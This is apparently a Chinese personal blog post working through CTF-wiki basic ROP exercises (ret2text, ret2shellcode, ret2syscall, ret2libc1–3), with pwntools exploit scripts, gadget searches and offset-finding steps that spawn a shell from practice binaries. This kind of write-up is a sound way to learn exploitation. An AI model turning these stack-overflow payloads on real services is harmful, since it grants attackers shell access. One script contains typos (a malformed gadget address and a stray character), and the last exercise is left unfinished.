基本ROP
mango

ret2text

image-20240119211852308

32位程序。开了NX,栈不可执行

ida中查看可知使用了gets函数,存在栈溢出漏洞。在secure函数中存在调用system(“/bin/sh”)的代码。地址为0x804863a

找偏移量

image-20240119213118899

断在了0x62616164,也就是baad

image-20240119213229172

image-20240119213332374

找到偏移量为112

payload:

1
2
3
4
from pwn import *
p=process('./ret2text')
p.sendline(b'a'*112+p32(0x804863a))
p.interactive()

ret2shellcode

image-20240119214227370

没开NX,可以在栈中执行shellcode

最后一行可以看到有可读可执行的段

image-20240119214714699

程序gets s,复制到buf2,可以在ida中看到buf2在bss段,地址为0x0804A080

image-20240119214731367

运行程序,查看一下这一个bss段是否可执行

1
2
3
b main
r
vmmap

这个题目好像有点问题,正常应该和wiki中的一样查出来是rwx,但是我查到的buf2所在的bss段权限为rw-,但是思路是没啥问题的

1
2
3
4
5
6
7
8
from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

p.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
p.interactive()

ret2syscall

image-20240125221223502

32位,开了NX

image-20240125221704429

gets(),存在栈溢出漏洞

这里我们使用文件里的gadget来构造一个系统调用。

构造:

1
execve("/bin/sh",NULL,NULL)

程序是32位,通过gadget我们要设置寄存器的值:

  • 系统调用号,eax=0xb
  • 第一个参数,ebx为指向/bin/sh的地址,或者执行sh的地址
  • 第二个参数,ecx=0
  • 第三个参数,edx=0

寻找gadgets

1
ROPgadget --binary ./ret2syscall --only 'pop|ret' | grep 'eax'
image-20240125222135238

使用pop eax ; ret,记录地址0x080bb196

下面找包含ebx

1
ROPgadget --binary ./ret2syscall --only 'pop|ret' | grep 'ebx'
image-20240125222253226

有很多,正好有一条pop edx ; pop ecx ; pop ebx ; ret,可以一下控制3个寄存器,记录地址0x0806eb90

/bin/sh的地址,0x080be408

image-20240125222921182

int 0x80的地址,0x08049421

image-20240125223000965

然后查看一下偏移(32位的程序我一般使用gdb的插件gef,和wiki里一样)

1
2
3
gdb ret2syscall
pattern create 200
r
image-20240125222550275

断在了baad这里

image-20240125222730760

偏移量为112

payload:

1
2
3
4
5
6
7
8
9
from pwn import *
p=process('/home/cake/Documents/pwn/wiki/ret2syscall')
pop_eax_ret=0x080bb196
pop_edx_ecx_ebx_ret=0x0806eb901
int_0x80=0x08049421
binsh=0x080be408
payload=flat([b'a'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,binsh,int_0x80])
p.sendline(payload)
p.interactive()1

ret2libc1

image-20240125231945101

32位,NX,在栈中的数据没有执行权限

image-20240125232626800

gets(),栈溢出

可以看到存在system函数

image-20240125233705518

也存在/bin/sh

image-20240126010517568

payload:

1
2
3
4
5
6
7
8
from pwn import *

p = process("./ret2libc1")
binsh_addr = 0x08048720
system_plt = 0x08048460
payload = flat(["a" * 112, system_plt, "b" * 4, binsh_addr])
p.sendline(payload)
p.interactive()

"b"*4是填充在system的返回值处,因为不需要返回,所以随便设置了。

ret2libc2

image-20240126011727346

32,NX

image-20240126011829867

gets(),栈溢出漏洞

和ret2libc1一样存在system的plt,地址为0x08048490

1
objdump -d ret2libc2 | grep "plt"
image-20240126012151412 image-20240126011940350

但是没有/bin/sh的字符串了,可以栈溢出后利用gets函数读取它。

观察到bss端有一个buf2,0x804A080

image-20240126014609630

使用vmmap可以发现这个bss段是可写的

image-20240126014847116

测偏移的方法和上面一样,测出来的112

所以思路是,先进行栈溢出,把gets的plt填在返回地址上,然后程序会调用gets,这时输入/bin/sh,在gets的plt后面写上system的plt,gets的内容存储到的地址buf2,调用system,把buf2的地址填上作为system的参数

可以参考:https://blog.csdn.net/AcSuccess/article/details/104321534

image-20240126020155010

payload:

1
2
3
4
5
6
7
8
9
10
11
from pwn import*

context(os="linux", arch="x86", log_level="debug")
p=process('/home/cake/Documents/pwn/wiki/ret2libc2')
gets_plt=0x08048460
system_plt=0x08048490
buf2=0x804A080
payload=b'a'*112+p32(gets_plt)+p32(system_plt)+p32(buf2)+p32(buf2)
p.sendlineafter('What do you think ?',payload)
p.sendline(b'/bin/sh')
p.interactive()

ret2libc3

image-20240126020700555 image-20240126020740005

一样的栈溢出,但是这一次找不到system也找不到/bin/sh了

system函数属于libc库,程序调用函数使用动态链接libc.so,其中的函数之间相对偏移是固定的。即使程序有ASLR保护,也只是对于地址中间位进行随机,最低的12bit(3位十六进制数字)不会改变。

因此可以泄露libc的某个函数的got表地址,来得到库的版本,从而调用其他函数。

由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

查看重定位节(-R)

image-20240126022005846 image-20240126112245328

在ida找到了puts的plt地址,0x08048460

也可以用objdump -d ret2libc3 | grep 'plt'查找plt表地址

image-20240126112748779

因此我们可以利用puts来打印__libc_start_main函数的got表地址。同时在ida得知__libc_start_main函数的地址为0x0804a024

puts函数的返回地址是_start函数(或者main函数)(start函数

image-20240126110802785

_start函数地址为0x080484D0

偏移测试为112

但是因为一些原因,libc的版本没有找到…所以这个题先放在这了

由 Hexo 驱动 & 主题 Keep
访客数 访问量